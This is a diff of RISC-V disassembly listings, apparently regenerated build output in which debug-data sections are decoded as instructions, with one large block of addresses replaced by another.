-    1a96:	0192                	slli	gp,gp,0x4
-    1a98:	0000                	unimp
-    1a9a:	0001                	nop
-    1a9c:	005a                	c.slli	zero,0x16
-    1a9e:	0000                	unimp
-    1aa0:	0000                	unimp
-    1aa2:	0000                	unimp
-    1aa4:	0e00                	addi	s0,sp,784
-    1aa6:	0001                	nop
-    1aa8:	7a00                	flw	fs0,48(a2)
-    1aaa:	0001                	nop
-    1aac:	0100                	addi	s0,sp,128
-    1aae:	6100                	flw	fs0,0(a0)
-	...
-    1ab8:	0114                	addi	a3,sp,128
-    1aba:	0000                	unimp
-    1abc:	0160                	addi	s0,sp,140
-    1abe:	0000                	unimp
-    1ac0:	0001                	nop
-    1ac2:	605c                	flw	fa5,4(s0)
-    1ac4:	0001                	nop
-    1ac6:	7a00                	flw	fs0,48(a2)
-    1ac8:	0001                	nop
-    1aca:	0700                	addi	s0,sp,896
-    1acc:	8000                	0x8000
-    1ace:	4000                	lw	s0,0(s0)
-    1ad0:	4024                	lw	s1,64(s0)
-    1ad2:	9f25                	0x9f25
-	...
-    1adc:	0120                	addi	s0,sp,136
-    1ade:	0000                	unimp
-    1ae0:	0134                	addi	a3,sp,136
-    1ae2:	0000                	unimp
-    1ae4:	0001                	nop
-    1ae6:	345f 0001 7800      	0x78000001345f
-    1aec:	0001                	nop
-    1aee:	0100                	addi	s0,sp,128
-    1af0:	5a00                	lw	s0,48(a2)
-	...
-    1afa:	0154                	addi	a3,sp,132
-    1afc:	0000                	unimp
-    1afe:	016a                	slli	sp,sp,0x1a
-    1b00:	0000                	unimp
-    1b02:	0001                	nop
-    1b04:	6a5e                	flw	fs4,212(sp)
-    1b06:	0001                	nop
-    1b08:	7a00                	flw	fs0,48(a2)
-    1b0a:	0001                	nop
-    1b0c:	0100                	addi	s0,sp,128
-    1b0e:	5c00                	lw	s0,56(s0)
-	...
-    1b18:	011c                	addi	a5,sp,128
-    1b1a:	0000                	unimp
-    1b1c:	0122                	slli	sp,sp,0x8
-    1b1e:	0000                	unimp
-    1b20:	0001                	nop
-    1b22:	285d                	jal	1bd8 <__stack_size+0x13d8>
-    1b24:	0001                	nop
-    1b26:	3000                	fld	fs0,32(s0)
-    1b28:	0001                	nop
-    1b2a:	0100                	addi	s0,sp,128
-    1b2c:	5e00                	lw	s0,56(a2)
-    1b2e:	0130                	addi	a2,sp,136
-    1b30:	0000                	unimp
-    1b32:	0134                	addi	a3,sp,136
-    1b34:	0000                	unimp
-    1b36:	0008                	0x8
-    1b38:	0076                	c.slli	zero,0x1d
-    1b3a:	2540                	fld	fs0,136(a0)
-    1b3c:	007d                	c.nop	31
-    1b3e:	9f21                	0x9f21
-    1b40:	0134                	addi	a3,sp,136
-    1b42:	0000                	unimp
-    1b44:	0154                	addi	a3,sp,132
-    1b46:	0000                	unimp
-    1b48:	0001                	nop
-    1b4a:	005e                	c.slli	zero,0x17
-    1b4c:	0000                	unimp
-    1b4e:	0000                	unimp
-    1b50:	0000                	unimp
-    1b52:	4a00                	lw	s0,16(a2)
-    1b54:	0001                	nop
-    1b56:	5600                	lw	s0,40(a2)
-    1b58:	0001                	nop
-    1b5a:	0100                	addi	s0,sp,128
-    1b5c:	5f00                	lw	s0,56(a4)
-    1b5e:	015e                	slli	sp,sp,0x17
-    1b60:	0000                	unimp
-    1b62:	0166                	slli	sp,sp,0x19
-    1b64:	0000                	unimp
-    1b66:	0001                	nop
-    1b68:	0056                	c.slli	zero,0x15
-    1b6a:	0000                	unimp
-    1b6c:	0000                	unimp
-    1b6e:	0000                	unimp
-    1b70:	2800                	fld	fs0,16(s0)
-    1b72:	0001                	nop
-    1b74:	5e00                	lw	s0,56(a2)
-    1b76:	0001                	nop
-    1b78:	0100                	addi	s0,sp,128
-    1b7a:	6c00                	flw	fs0,24(s0)
-    1b7c:	015e                	slli	sp,sp,0x17
-    1b7e:	0000                	unimp
-    1b80:	017a                	slli	sp,sp,0x1e
-    1b82:	0000                	unimp
-    1b84:	0001                	nop
-    1b86:	005d                	c.nop	23
-    1b88:	0000                	unimp
-    1b8a:	0000                	unimp
-    1b8c:	0000                	unimp
-    1b8e:	a600                	fsd	fs0,8(a2)
-    1b90:	0001                	nop
-    1b92:	1600                	addi	s0,sp,800
-    1b94:	0002                	c.slli64	zero
-    1b96:	0100                	addi	s0,sp,128
-    1b98:	6100                	flw	fs0,0(a0)
-	...
-    1ba2:	01b0                	addi	a2,sp,200
-    1ba4:	0000                	unimp
-    1ba6:	01f4                	addi	a3,sp,204
-    1ba8:	0000                	unimp
-    1baa:	0001                	nop
-    1bac:	f45f 0001 1600      	0x16000001f45f
-    1bb2:	0002                	c.slli64	zero
-    1bb4:	0700                	addi	s0,sp,896
-    1bb6:	8000                	0x8000
-    1bb8:	4000                	lw	s0,0(s0)
-    1bba:	4024                	lw	s1,64(s0)
-    1bbc:	9f25                	0x9f25
-	...
-    1bc6:	01b8                	addi	a4,sp,200
-    1bc8:	0000                	unimp
-    1bca:	01cc                	addi	a1,sp,196
-    1bcc:	0000                	unimp
-    1bce:	0001                	nop
-    1bd0:	cc5a                	sw	s6,24(sp)
-    1bd2:	0001                	nop
-    1bd4:	1000                	addi	s0,sp,32
-    1bd6:	0002                	c.slli64	zero
-    1bd8:	0100                	addi	s0,sp,128
-    1bda:	5b00                	lw	s0,48(a4)
-	...
-    1be4:	01ea                	slli	gp,gp,0x1a
-    1be6:	0000                	unimp
-    1be8:	0200                	addi	s0,sp,256
-    1bea:	0000                	unimp
-    1bec:	0001                	nop
-    1bee:	005d                	c.nop	23
-    1bf0:	0002                	c.slli64	zero
-    1bf2:	1600                	addi	s0,sp,800
-    1bf4:	0002                	c.slli64	zero
-    1bf6:	0100                	addi	s0,sp,128
-    1bf8:	5e00                	lw	s0,56(a2)
-	...
-    1c02:	01b0                	addi	a2,sp,200
-    1c04:	0000                	unimp
-    1c06:	01ba                	slli	gp,gp,0xe
-    1c08:	0000                	unimp
-    1c0a:	0001                	nop
-    1c0c:	c05e                	sw	s7,0(sp)
-    1c0e:	0001                	nop
-    1c10:	c800                	sw	s0,16(s0)
-    1c12:	0001                	nop
-    1c14:	0100                	addi	s0,sp,128
-    1c16:	5e00                	lw	s0,56(a2)
-    1c18:	01cc                	addi	a1,sp,196
-    1c1a:	0000                	unimp
-    1c1c:	01de                	slli	gp,gp,0x17
-    1c1e:	0000                	unimp
-    1c20:	0001                	nop
-    1c22:	de5e                	sw	s7,60(sp)
-    1c24:	0001                	nop
-    1c26:	ea00                	fsw	fs0,16(a2)
-    1c28:	0001                	nop
-    1c2a:	0100                	addi	s0,sp,128
-    1c2c:	5d00                	lw	s0,56(a0)
-	...
-    1c36:	01e2                	slli	gp,gp,0x18
-    1c38:	0000                	unimp
-    1c3a:	01ec                	addi	a1,sp,204
-    1c3c:	0000                	unimp
-    1c3e:	0001                	nop
-    1c40:	f45e                	fsw	fs7,40(sp)
-    1c42:	0001                	nop
-    1c44:	fc00                	fsw	fs0,56(s0)
-    1c46:	0001                	nop
-    1c48:	0100                	addi	s0,sp,128
-    1c4a:	5f00                	lw	s0,56(a4)
-    1c4c:	0200                	addi	s0,sp,256
-    1c4e:	0000                	unimp
-    1c50:	0216                	slli	tp,tp,0x5
-    1c52:	0000                	unimp
-    1c54:	0001                	nop
-    1c56:	005f 0000 0000      	0x5f
-    1c5c:	0000                	unimp
-    1c5e:	c000                	sw	s0,0(s0)
-    1c60:	0001                	nop
-    1c62:	de00                	sw	s0,56(a2)
-    1c64:	0001                	nop
-    1c66:	0100                	addi	s0,sp,128
-    1c68:	5d00                	lw	s0,56(a0)
-    1c6a:	01de                	slli	gp,gp,0x17
-    1c6c:	0000                	unimp
-    1c6e:	01f0                	addi	a2,sp,204
-    1c70:	0000                	unimp
-    1c72:	0006                	c.slli	zero,0x1
-    1c74:	007f                	0x7f
-    1c76:	007a                	c.slli	zero,0x1e
-    1c78:	9f1e                	add	t5,t5,t2
-    1c7a:	01f0                	addi	a2,sp,204
-    1c7c:	0000                	unimp
-    1c7e:	0216                	slli	tp,tp,0x5
-    1c80:	0000                	unimp
-    1c82:	0001                	nop
-    1c84:	005a                	c.slli	zero,0x16
-    1c86:	0000                	unimp
-    1c88:	0000                	unimp
-    1c8a:	0000                	unimp
-    1c8c:	1a00                	addi	s0,sp,304
-    1c8e:	0002                	c.slli64	zero
-    1c90:	2e00                	fld	fs0,24(a2)
-    1c92:	0002                	c.slli64	zero
-    1c94:	0100                	addi	s0,sp,128
-    1c96:	5a00                	lw	s0,48(a2)
-    1c98:	022e                	slli	tp,tp,0xb
-    1c9a:	0000                	unimp
-    1c9c:	025a                	slli	tp,tp,0x16
-    1c9e:	0000                	unimp
-    1ca0:	0001                	nop
-    1ca2:	5a5d                	li	s4,-9
-    1ca4:	0002                	c.slli64	zero
-    1ca6:	6800                	flw	fs0,16(s0)
-    1ca8:	0002                	c.slli64	zero
-    1caa:	0100                	addi	s0,sp,128
-    1cac:	5a00                	lw	s0,48(a2)
-    1cae:	0268                	addi	a0,sp,268
-    1cb0:	0000                	unimp
-    1cb2:	0270                	addi	a2,sp,268
-    1cb4:	0000                	unimp
-    1cb6:	0001                	nop
-    1cb8:	005d                	c.nop	23
-    1cba:	0000                	unimp
-    1cbc:	0000                	unimp
-    1cbe:	0000                	unimp
-    1cc0:	2a00                	fld	fs0,16(a2)
-    1cc2:	0002                	c.slli64	zero
-    1cc4:	4600                	lw	s0,8(a2)
-    1cc6:	0002                	c.slli64	zero
-    1cc8:	0100                	addi	s0,sp,128
-    1cca:	5b00                	lw	s0,48(a4)
+   0:	19b6                	slli	s3,s3,0x2d
+   2:	2040                	fld	fs0,128(s0)
+   4:	1a22                	slli	s4,s4,0x28
+   6:	2040                	fld	fs0,128(s0)
+   8:	0001                	nop
+   a:	3058                	fld	fa4,160(s0)
+   c:	401a                	0x401a
+   e:	4620                	lw	s0,72(a2)
+  10:	401a                	0x401a
+  12:	0120                	addi	s0,sp,136
+  14:	5800                	lw	s0,48(s0)
 	...
-    1cd8:	0054                	addi	a3,sp,4
-    1cda:	0000                	unimp
-    1cdc:	0006                	c.slli	zero,0x1
-    1cde:	935a                	add	t1,t1,s6
-    1ce0:	5b04                	lw	s1,48(a4)
-    1ce2:	00540493          	addi	s1,s0,5 # 17005 <__stack_size+0x16805>
-    1ce6:	0000                	unimp
-    1ce8:	00b2                	slli	ra,ra,0xc
-    1cea:	0000                	unimp
-    1cec:	0006                	c.slli	zero,0x1
-    1cee:	0af503f3          	0xaf503f3
-    1cf2:	9f25                	0x9f25
-    1cf4:	00b2                	slli	ra,ra,0xc
-    1cf6:	0000                	unimp
-    1cf8:	00f4                	addi	a3,sp,76
-    1cfa:	0000                	unimp
-    1cfc:	0006                	c.slli	zero,0x1
-    1cfe:	935a                	add	t1,t1,s6
-    1d00:	5b04                	lw	s1,48(a4)
-    1d02:	00f40493          	addi	s1,s0,15
-    1d06:	0000                	unimp
-    1d08:	0150                	addi	a2,sp,132
-    1d0a:	0000                	unimp
-    1d0c:	0006                	c.slli	zero,0x1
-    1d0e:	0af503f3          	0xaf503f3
-    1d12:	9f25                	0x9f25
-    1d14:	0150                	addi	a2,sp,132
-    1d16:	0000                	unimp
-    1d18:	0182                	c.slli64	gp
-    1d1a:	0000                	unimp
-    1d1c:	0006                	c.slli	zero,0x1
-    1d1e:	935a                	add	t1,t1,s6
-    1d20:	5b04                	lw	s1,48(a4)
-    1d22:	01820493          	addi	s1,tp,24 # 18 <__stack_size-0x7e8>
-    1d26:	0000                	unimp
-    1d28:	01d2                	slli	gp,gp,0x14
-    1d2a:	0000                	unimp
-    1d2c:	0006                	c.slli	zero,0x1
-    1d2e:	0af503f3          	0xaf503f3
-    1d32:	9f25                	0x9f25
-    1d34:	01d2                	slli	gp,gp,0x14
-    1d36:	0000                	unimp
-    1d38:	0212                	slli	tp,tp,0x4
-    1d3a:	0000                	unimp
-    1d3c:	0006                	c.slli	zero,0x1
-    1d3e:	935a                	add	t1,t1,s6
-    1d40:	5b04                	lw	s1,48(a4)
-    1d42:	02120493          	addi	s1,tp,33 # 21 <__stack_size-0x7df>
-    1d46:	0000                	unimp
-    1d48:	0220                	addi	s0,sp,264
-    1d4a:	0000                	unimp
-    1d4c:	0006                	c.slli	zero,0x1
-    1d4e:	0af503f3          	0xaf503f3
-    1d52:	9f25                	0x9f25
-    1d54:	0220                	addi	s0,sp,264
-    1d56:	0000                	unimp
-    1d58:	025e                	slli	tp,tp,0x17
-    1d5a:	0000                	unimp
-    1d5c:	0006                	c.slli	zero,0x1
-    1d5e:	935a                	add	t1,t1,s6
-    1d60:	5b04                	lw	s1,48(a4)
-    1d62:	025e0493          	addi	s1,t3,37 # ffff7025 <_heap_end+0x7ffe8825>
-    1d66:	0000                	unimp
-    1d68:	0340                	addi	s0,sp,388
-    1d6a:	0000                	unimp
-    1d6c:	0006                	c.slli	zero,0x1
-    1d6e:	0af503f3          	0xaf503f3
-    1d72:	9f25                	0x9f25
+  1e:	19b8                	addi	a4,sp,248
+  20:	2040                	fld	fs0,128(s0)
+  22:	19ee                	slli	s3,s3,0x3b
+  24:	2040                	fld	fs0,128(s0)
+  26:	0002                	c.slli64	zero
+  28:	9f30                	0x9f30
+  2a:	19ee                	slli	s3,s3,0x3b
+  2c:	2040                	fld	fs0,128(s0)
+  2e:	1a30                	addi	a2,sp,312
+  30:	2040                	fld	fs0,128(s0)
+  32:	0001                	nop
+  34:	0059                	c.nop	22
+  36:	0000                	unimp
+  38:	0000                	unimp
+  3a:	0000                	unimp
+  3c:	7a00                	flw	fs0,48(a2)
+  3e:	401a                	0x401a
+  40:	4a20                	lw	s0,80(a2)
+  42:	0120401b          	0x120401b
+  46:	5900                	lw	s0,48(a0)
+  48:	1b7c                	addi	a5,sp,444
+  4a:	2040                	fld	fs0,128(s0)
+  4c:	1ce2                	slli	s9,s9,0x38
+  4e:	2040                	fld	fs0,128(s0)
+  50:	0001                	nop
+  52:	0059                	c.nop	22
+  54:	0000                	unimp
+  56:	0000                	unimp
+  58:	0000                	unimp
+  5a:	8600                	0x8600
+  5c:	401a                	0x401a
+  5e:	4c20                	lw	s0,88(s0)
+  60:	0120401b          	0x120401b
+  64:	5800                	lw	s0,48(s0)
+  66:	1b7c                	addi	a5,sp,444
+  68:	2040                	fld	fs0,128(s0)
+  6a:	1b8e                	slli	s7,s7,0x23
+  6c:	2040                	fld	fs0,128(s0)
+  6e:	0001                	nop
+  70:	8e58                	0x8e58
+  72:	9020401b          	0x9020401b
+  76:	0320401b          	0x320401b
+  7a:	7800                	flw	fs0,48(s0)
+  7c:	9f7c                	0x9f7c
+  7e:	1b90                	addi	a2,sp,496
+  80:	2040                	fld	fs0,128(s0)
+  82:	1c14                	addi	a3,sp,560
+  84:	2040                	fld	fs0,128(s0)
+  86:	0001                	nop
+  88:	5858                	lw	a4,52(s0)
+  8a:	401c                	lw	a5,0(s0)
+  8c:	da20                	sw	s0,112(a2)
+  8e:	401c                	lw	a5,0(s0)
+  90:	0120                	addi	s0,sp,136
+  92:	5800                	lw	s0,48(s0)
 	...
-    1d80:	0060                	addi	s0,sp,12
-    1d82:	0000                	unimp
-    1d84:	0006                	c.slli	zero,0x1
-    1d86:	935c                	0x935c
-    1d88:	5d04                	lw	s1,56(a0)
-    1d8a:	00600493          	li	s1,6
-    1d8e:	0000                	unimp
-    1d90:	00b2                	slli	ra,ra,0xc
-    1d92:	0000                	unimp
-    1d94:	0006                	c.slli	zero,0x1
-    1d96:	0cf503f3          	0xcf503f3
-    1d9a:	9f25                	0x9f25
-    1d9c:	00b2                	slli	ra,ra,0xc
-    1d9e:	0000                	unimp
-    1da0:	00e2                	slli	ra,ra,0x18
-    1da2:	0000                	unimp
-    1da4:	0006                	c.slli	zero,0x1
-    1da6:	935c                	0x935c
-    1da8:	5d04                	lw	s1,56(a0)
-    1daa:	00e20493          	addi	s1,tp,14 # e <__stack_size-0x7f2>
-    1dae:	0000                	unimp
-    1db0:	0150                	addi	a2,sp,132
-    1db2:	0000                	unimp
-    1db4:	0006                	c.slli	zero,0x1
-    1db6:	0cf503f3          	0xcf503f3
-    1dba:	9f25                	0x9f25
-    1dbc:	0150                	addi	a2,sp,132
-    1dbe:	0000                	unimp
-    1dc0:	015e                	slli	sp,sp,0x17
-    1dc2:	0000                	unimp
-    1dc4:	0006                	c.slli	zero,0x1
-    1dc6:	935c                	0x935c
-    1dc8:	5d04                	lw	s1,56(a0)
-    1dca:	015e0493          	addi	s1,t3,21
-    1dce:	0000                	unimp
-    1dd0:	01d2                	slli	gp,gp,0x14
-    1dd2:	0000                	unimp
-    1dd4:	0006                	c.slli	zero,0x1
-    1dd6:	0cf503f3          	0xcf503f3
-    1dda:	9f25                	0x9f25
-    1ddc:	01d2                	slli	gp,gp,0x14
-    1dde:	0000                	unimp
-    1de0:	024a                	slli	tp,tp,0x12
-    1de2:	0000                	unimp
-    1de4:	0006                	c.slli	zero,0x1
-    1de6:	935c                	0x935c
-    1de8:	5d04                	lw	s1,56(a0)
-    1dea:	024a0493          	addi	s1,s4,36
-    1dee:	0000                	unimp
-    1df0:	0340                	addi	s0,sp,388
-    1df2:	0000                	unimp
-    1df4:	0006                	c.slli	zero,0x1
-    1df6:	0cf503f3          	0xcf503f3
-    1dfa:	9f25                	0x9f25
+  9c:	1a94                	addi	a3,sp,368
+  9e:	2040                	fld	fs0,128(s0)
+  a0:	1ad2                	slli	s5,s5,0x34
+  a2:	2040                	fld	fs0,128(s0)
+  a4:	0001                	nop
+  a6:	d25a                	sw	s6,36(sp)
+  a8:	401a                	0x401a
+  aa:	d420                	sw	s0,104(s0)
+  ac:	401a                	0x401a
+  ae:	0120                	addi	s0,sp,136
+  b0:	5d00                	lw	s0,56(a0)
+  b2:	1ad4                	addi	a3,sp,372
+  b4:	2040                	fld	fs0,128(s0)
+  b6:	1ae0                	addi	s0,sp,380
+  b8:	2040                	fld	fs0,128(s0)
+  ba:	0001                	nop
+  bc:	e05a                	fsw	fs6,0(sp)
+  be:	401a                	0x401a
+  c0:	e320                	fsw	fs0,64(a4)
+  c2:	401a                	0x401a
+  c4:	0120                	addi	s0,sp,136
+  c6:	5d00                	lw	s0,56(a0)
+  c8:	1b06                	slli	s6,s6,0x21
+  ca:	2040                	fld	fs0,128(s0)
+  cc:	1b12                	slli	s6,s6,0x24
+  ce:	2040                	fld	fs0,128(s0)
+  d0:	0001                	nop
+  d2:	125a                	slli	tp,tp,0x36
+  d4:	1420401b          	0x1420401b
+  d8:	0120401b          	0x120401b
+  dc:	5d00                	lw	s0,56(a0)
+  de:	1b14                	addi	a3,sp,432
+  e0:	2040                	fld	fs0,128(s0)
+  e2:	1b20                	addi	s0,sp,440
+  e4:	2040                	fld	fs0,128(s0)
+  e6:	0001                	nop
+  e8:	205a                	fld	ft0,400(sp)
+  ea:	2220401b          	0x2220401b
+  ee:	0120401b          	0x120401b
+  f2:	5d00                	lw	s0,56(a0)
+  f4:	1b22                	slli	s6,s6,0x28
+  f6:	2040                	fld	fs0,128(s0)
+  f8:	1b2e                	slli	s6,s6,0x2b
+  fa:	2040                	fld	fs0,128(s0)
+  fc:	0001                	nop
+  fe:	2e5a                	fld	ft8,400(sp)
+ 100:	3020401b          	0x3020401b
+ 104:	0120401b          	0x120401b
+ 108:	5d00                	lw	s0,56(a0)
+ 10a:	1b30                	addi	a2,sp,440
+ 10c:	2040                	fld	fs0,128(s0)
+ 10e:	1b3c                	addi	a5,sp,440
+ 110:	2040                	fld	fs0,128(s0)
+ 112:	0001                	nop
+ 114:	3c5a                	fld	fs8,432(sp)
+ 116:	3f20401b          	0x3f20401b
+ 11a:	0120401b          	0x120401b
+ 11e:	5d00                	lw	s0,56(a0)
+ 120:	1b7c                	addi	a5,sp,444
+ 122:	2040                	fld	fs0,128(s0)
+ 124:	1b88                	addi	a0,sp,496
+ 126:	2040                	fld	fs0,128(s0)
+ 128:	0001                	nop
+ 12a:	885a                	mv	a6,s6
+ 12c:	8b20401b          	0x8b20401b
+ 130:	0120401b          	0x120401b
+ 134:	5d00                	lw	s0,56(a0)
+ 136:	1b90                	addi	a2,sp,496
+ 138:	2040                	fld	fs0,128(s0)
+ 13a:	1b9c                	addi	a5,sp,496
+ 13c:	2040                	fld	fs0,128(s0)
+ 13e:	0001                	nop
+ 140:	9c5a                	add	s8,s8,s6
+ 142:	9f20401b          	0x9f20401b
+ 146:	0120401b          	0x120401b
+ 14a:	5d00                	lw	s0,56(a0)
+ 14c:	1bb4                	addi	a3,sp,504
+ 14e:	2040                	fld	fs0,128(s0)
+ 150:	1bc0                	addi	s0,sp,500
+ 152:	2040                	fld	fs0,128(s0)
+ 154:	0001                	nop
+ 156:	c05a                	sw	s6,0(sp)
+ 158:	c220401b          	0xc220401b
+ 15c:	0120401b          	0x120401b
+ 160:	5d00                	lw	s0,56(a0)
+ 162:	1bc2                	slli	s7,s7,0x30
+ 164:	2040                	fld	fs0,128(s0)
+ 166:	1bce                	slli	s7,s7,0x33
+ 168:	2040                	fld	fs0,128(s0)
+ 16a:	0001                	nop
+ 16c:	ce5a                	sw	s6,28(sp)
+ 16e:	d020401b          	0xd020401b
+ 172:	0120401b          	0x120401b
+ 176:	5d00                	lw	s0,56(a0)
+ 178:	1bd0                	addi	a2,sp,500
+ 17a:	2040                	fld	fs0,128(s0)
+ 17c:	1bdc                	addi	a5,sp,500
+ 17e:	2040                	fld	fs0,128(s0)
+ 180:	0001                	nop
+ 182:	dc5a                	sw	s6,56(sp)
+ 184:	de20401b          	0xde20401b
+ 188:	0120401b          	0x120401b
+ 18c:	5d00                	lw	s0,56(a0)
+ 18e:	1bde                	slli	s7,s7,0x37
+ 190:	2040                	fld	fs0,128(s0)
+ 192:	1bea                	slli	s7,s7,0x3a
+ 194:	2040                	fld	fs0,128(s0)
+ 196:	0001                	nop
+ 198:	ea5a                	fsw	fs6,20(sp)
+ 19a:	ec20401b          	0xec20401b
+ 19e:	0120401b          	0x120401b
+ 1a2:	5d00                	lw	s0,56(a0)
+ 1a4:	1bec                	addi	a1,sp,508
+ 1a6:	2040                	fld	fs0,128(s0)
+ 1a8:	1bfa                	slli	s7,s7,0x3e
+ 1aa:	2040                	fld	fs0,128(s0)
+ 1ac:	0001                	nop
+ 1ae:	fa5a                	fsw	fs6,52(sp)
+ 1b0:	fd20401b          	0xfd20401b
+ 1b4:	0120401b          	0x120401b
+ 1b8:	5d00                	lw	s0,56(a0)
+ 1ba:	1bfd                	addi	s7,s7,-1
+ 1bc:	2040                	fld	fs0,128(s0)
+ 1be:	1c58                	addi	a4,sp,564
+ 1c0:	2040                	fld	fs0,128(s0)
+ 1c2:	9c910003          	lb	zero,-1591(sp) # 4c3029c9 <_data_lma+0x2befe4a9>
+ 1c6:	587f                	0x587f
+ 1c8:	401c                	lw	a5,0(s0)
+ 1ca:	6620                	flw	fs0,72(a2)
+ 1cc:	401c                	lw	a5,0(s0)
+ 1ce:	0120                	addi	s0,sp,136
+ 1d0:	5a00                	lw	s0,48(a2)
+ 1d2:	1c66                	slli	s8,s8,0x39
+ 1d4:	2040                	fld	fs0,128(s0)
+ 1d6:	1c69                	addi	s8,s8,-6
+ 1d8:	2040                	fld	fs0,128(s0)
+ 1da:	0001                	nop
+ 1dc:	695d                	lui	s2,0x17
+ 1de:	401c                	lw	a5,0(s0)
+ 1e0:	c620                	sw	s0,72(a2)
+ 1e2:	401c                	lw	a5,0(s0)
+ 1e4:	0320                	addi	s0,sp,392
+ 1e6:	9100                	0x9100
+ 1e8:	7f9c                	flw	fa5,56(a5)
+ 1ea:	1cc6                	slli	s9,s9,0x31
+ 1ec:	2040                	fld	fs0,128(s0)
+ 1ee:	1cd0                	addi	a2,sp,628
+ 1f0:	2040                	fld	fs0,128(s0)
+ 1f2:	0001                	nop
+ 1f4:	d05a                	sw	s6,32(sp)
+ 1f6:	401c                	lw	a5,0(s0)
+ 1f8:	d720                	sw	s0,104(a4)
+ 1fa:	401c                	lw	a5,0(s0)
+ 1fc:	0120                	addi	s0,sp,136
+ 1fe:	5d00                	lw	s0,56(a0)
 	...
-    1e04:	021e                	slli	tp,tp,0x7
-    1e06:	0000                	unimp
-    1e08:	0220                	addi	s0,sp,264
-    1e0a:	0000                	unimp
-    1e0c:	0006                	c.slli	zero,0x1
-    1e0e:	935a                	add	t1,t1,s6
-    1e10:	5e04                	lw	s1,56(a2)
-    1e12:	033e0493          	addi	s1,t3,51
-    1e16:	0000                	unimp
-    1e18:	0340                	addi	s0,sp,388
-    1e1a:	0000                	unimp
-    1e1c:	0006                	c.slli	zero,0x1
-    1e1e:	935a                	add	t1,t1,s6
-    1e20:	5b04                	lw	s1,48(a4)
-    1e22:	00000493          	li	s1,0
-    1e26:	0000                	unimp
-    1e28:	0000                	unimp
-    1e2a:	0000                	unimp
-    1e2c:	0002                	c.slli64	zero
-    1e2e:	0000                	unimp
-    1e30:	00b0                	addi	a2,sp,72
-    1e32:	0000                	unimp
-    1e34:	0006                	c.slli	zero,0x1
-    1e36:	8cf2                	mv	s9,t3
-    1e38:	0000002f          	0x2f
-    1e3c:	00b2                	slli	ra,ra,0xc
-    1e3e:	0000                	unimp
-    1e40:	0340                	addi	s0,sp,388
-    1e42:	0000                	unimp
-    1e44:	0006                	c.slli	zero,0x1
-    1e46:	8cf2                	mv	s9,t3
-    1e48:	0000002f          	0x2f
+ 208:	1cda                	slli	s9,s9,0x36
+ 20a:	2040                	fld	fs0,128(s0)
+ 20c:	1cf2                	slli	s9,s9,0x3c
+ 20e:	2040                	fld	fs0,128(s0)
+ 210:	0001                	nop
+ 212:	f258                	fsw	fa4,36(a2)
+ 214:	401c                	lw	a5,0(s0)
+ 216:	f620                	fsw	fs0,104(a2)
+ 218:	401c                	lw	a5,0(s0)
+ 21a:	0120                	addi	s0,sp,136
+ 21c:	5a00                	lw	s0,48(a2)
+ 21e:	1cf6                	slli	s9,s9,0x3d
+ 220:	2040                	fld	fs0,128(s0)
+ 222:	1d12                	slli	s10,s10,0x24
+ 224:	2040                	fld	fs0,128(s0)
+ 226:	0001                	nop
+ 228:	0058                	addi	a4,sp,4
+ 22a:	0000                	unimp
+ 22c:	0000                	unimp
+ 22e:	0000                	unimp
+ 230:	1000                	addi	s0,sp,32
+ 232:	401e                	0x401e
+ 234:	1e20                	addi	s0,sp,824
+ 236:	401e                	0x401e
+ 238:	0120                	addi	s0,sp,136
+ 23a:	5a00                	lw	s0,48(a2)
+ 23c:	1e1e                	slli	t3,t3,0x27
+ 23e:	2040                	fld	fs0,128(s0)
+ 240:	1e5a                	slli	t3,t3,0x36
+ 242:	2040                	fld	fs0,128(s0)
+ 244:	0001                	nop
+ 246:	5a58                	lw	a4,52(a2)
+ 248:	401e                	0x401e
+ 24a:	6420                	flw	fs0,72(s0)
+ 24c:	401e                	0x401e
+ 24e:	0420                	addi	s0,sp,520
+ 250:	f300                	fsw	fs0,32(a4)
+ 252:	5a01                	li	s4,-32
+ 254:	009f 0000 0000      	0x9f
+ 25a:	0000                	unimp
+ 25c:	1000                	addi	s0,sp,32
+ 25e:	401e                	0x401e
+ 260:	2920                	fld	fs0,80(a0)
+ 262:	401e                	0x401e
+ 264:	0120                	addi	s0,sp,136
+ 266:	5b00                	lw	s0,48(a4)
+ 268:	1e29                	addi	t3,t3,-22
+ 26a:	2040                	fld	fs0,128(s0)
+ 26c:	1e5c                	addi	a5,sp,820
+ 26e:	2040                	fld	fs0,128(s0)
+ 270:	0001                	nop
+ 272:	5c62                	lw	s8,56(sp)
+ 274:	401e                	0x401e
+ 276:	6420                	flw	fs0,72(s0)
+ 278:	401e                	0x401e
+ 27a:	0420                	addi	s0,sp,520
+ 27c:	f300                	fsw	fs0,32(a4)
+ 27e:	5b01                	li	s6,-32
+ 280:	009f 0000 0000      	0x9f
+ 286:	0000                	unimp
+ 288:	4e00                	lw	s0,24(a2)
+ 28a:	401e                	0x401e
+ 28c:	6020                	flw	fs0,64(s0)
+ 28e:	401e                	0x401e
+ 290:	0120                	addi	s0,sp,136
+ 292:	5900                	lw	s0,48(a0)
+ 294:	1e60                	addi	s0,sp,828
+ 296:	2040                	fld	fs0,128(s0)
+ 298:	1e64                	addi	s1,sp,828
+ 29a:	2040                	fld	fs0,128(s0)
+ 29c:	0001                	nop
+ 29e:	005a                	c.slli	zero,0x16
+ 2a0:	0000                	unimp
+ 2a2:	0000                	unimp
+ 2a4:	0000                	unimp
+ 2a6:	8400                	0x8400
+ 2a8:	401d                	c.li	zero,7
+ 2aa:	9220                	0x9220
+ 2ac:	401d                	c.li	zero,7
+ 2ae:	0120                	addi	s0,sp,136
+ 2b0:	5a00                	lw	s0,48(a2)
+ 2b2:	1d92                	slli	s11,s11,0x24
+ 2b4:	2040                	fld	fs0,128(s0)
+ 2b6:	1e0a                	slli	t3,t3,0x22
+ 2b8:	2040                	fld	fs0,128(s0)
+ 2ba:	0001                	nop
+ 2bc:	0a59                	addi	s4,s4,22
+ 2be:	401e                	0x401e
+ 2c0:	1020                	addi	s0,sp,40
+ 2c2:	401e                	0x401e
+ 2c4:	0420                	addi	s0,sp,520
+ 2c6:	f300                	fsw	fs0,32(a4)
+ 2c8:	5a01                	li	s4,-32
+ 2ca:	009f 0000 0000      	0x9f
+ 2d0:	0000                	unimp
+ 2d2:	8400                	0x8400
+ 2d4:	401d                	c.li	zero,7
+ 2d6:	9d20                	0x9d20
+ 2d8:	401d                	c.li	zero,7
+ 2da:	0120                	addi	s0,sp,136
+ 2dc:	5b00                	lw	s0,48(a4)
+ 2de:	1d9d                	addi	s11,s11,-25
+ 2e0:	2040                	fld	fs0,128(s0)
+ 2e2:	1e0c                	addi	a1,sp,816
+ 2e4:	2040                	fld	fs0,128(s0)
+ 2e6:	0001                	nop
